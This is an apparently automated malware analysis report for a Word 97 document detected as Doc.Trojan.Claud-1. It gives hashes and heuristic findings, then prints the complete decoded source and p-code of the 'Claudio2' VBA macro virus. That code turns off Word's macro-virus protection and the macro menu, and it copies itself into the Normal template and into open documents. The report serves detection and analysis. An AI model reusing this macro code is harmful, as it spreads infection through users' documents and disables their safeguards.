Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3237a22aa8d41e3…

MALICIOUS

Office (OLE)

62.0 KB Created: 2000-09-06 02:06:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-15
MD5: fe58fceda62342165c86353ea41f6fcd SHA-1: 1b35a7e3a1ff37eed698b19fb63045c3d1cd5778 SHA-256: f3237a22aa8d41e33f190db6ee822cd5277f235346c3d05d9d017b1fd0302562
200 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Claud-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Claud-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6057 bytes
SHA-256: a12638edb52c601d1671cbe48913ff4a24a2ead4614b19c806926da18166270d
Detection
ClamAV: Doc.Trojan.Claud-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Claudio2"
Attribute VB_Base = "1Normal.Claudio2"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
 Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
 Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
  CommandBars("tools").Controls("macro").Enabled = False
  Options.VirusProtection = False
  y = 0
  If AD.Name = "Claudio2" Then GoTo InfectNormal
  i = NT.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
Claudio:
  jota = 0
  jota = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < NT.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = NT.CodeModule.Lines(jota, 1)
     AD.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   AD.Name = "Claudio2"
   ActiveDocument.SaveAs ActiveDocument.FullName
  Else
    AD.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo Claudio
  End If
 GoTo IYGH
InfectNormal:
If NT.Name <> "Claudio2" Then
i = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
jota = 0
jota = NT.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < AD.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = AD.CodeModule.Lines(jota, 1)
     NT.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   NT.Name = "Claudio2"
   NormalTemplate.Save
  Else
    NT.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo InfectNormal
  End If
 End If
IYGH:
'Este es un V macro, Elaborado por c l a u d I o
'Este es el Comienzo de la era de los V Claudio
End Sub

' Processing file: /opt/analyzer/scan_staging/b51f2acaa90b42d9960dfb169f766976.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Claudio2 - 3531 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim 
' 	VarDefn jota (As Integer)
' 	VarDefn i (As Integer)
' 	VarDefn y (As Integer)
' 	VarDefn cadecodi (As String)
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set AD 
' Line #4:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set NT 
' Line #5:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "macro"
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitDI2 0x0000 
' 	St y 
' Line #8:
' 	Ld AD 
' 	MemLd New 
' 	LitStr 0x0008 "Claudio2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo InfectNormal 
' 	EndIf 
' Line #9:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St i 
' Line #10:
' 	Label Claudio 
' Line #11:
' 	LitDI2 0x0000 
' 	St jota 
' Line #12:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St jota 
' Line #13:
' 	Ld jota 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld i 
' 	St jota 
' Line #15:
' 	Ld y 
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcCountLines 0x0002 
' 	Lt 
' 	DoWhile 
' Line #16:
' 	Ld y 
' 	LitDI2 0x0001 
' 	Add 
' 	St y 
' Line #17:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St cadecodi 
' Line #18:
' 	Ld y 
' 	Ld cadecodi 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #19:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Add 
' 	St jota 
' Line #20:
' 	Loop 
' Line #21:
' 	LitStr 0x0008 "Claudio2"
' 	Ld AD 
' 	MemSt New 
' Line #22:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #23:
' 	ElseBlock 
' Line #24:
' 	Ld jota 
' 	LitStr 0x000B "Sub Claudio"
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #25:
' 	GoTo Claudio 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	GoTo IYGH 
' Line #28:
' 	Label InfectNormal 
' Line #29:
' 	Ld NT 
' 	MemLd New 
' 	LitStr 0x0008 "Claudio2"
' 	Ne 
' 	IfBlock 
' Line #30:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St i 
' Line #31:
' 	LitDI2 0x0000 
' 	St jota 
' Line #32:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St jota 
' Line #33:
' 	Ld jota 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #34:
' 	Ld i 
' 	St jota 
' Line #35:
' 	Ld y 
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcCountLines 0x0002 
' 	Lt 
' 	DoWhile 
' Line #36:
' 	Ld y 
' 	LitDI2 0x0001 
' 	Add 
' 	St y 
' Line #37:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St cadecodi 
' Line #38:
' 	Ld y 
' 	Ld cadecodi 
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #39:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Add 
' 	St jota 
' Line #40:
' 	Loop 
' Line #41:
' 	LitStr 0x0008 "Claudio2"
' 	Ld NT 
' 	MemSt New 
' Line #42:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #43:
' 	ElseBlock 
' Line #44:
' 	Ld jota 
' 	LitStr 0x000B "Sub Claudio"
' 	Ld NT 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #45:
' 	GoTo InfectNormal 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Label IYGH 
' Line #49:
' 	QuoteRem 0x0000 0x002F "Este es un V macro, Elaborado por c l a u d I o"
' Line #50:
' 	QuoteRem 0x0000 0x002E "Este es el Comienzo de la era de los V Claudio"
' Line #51:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.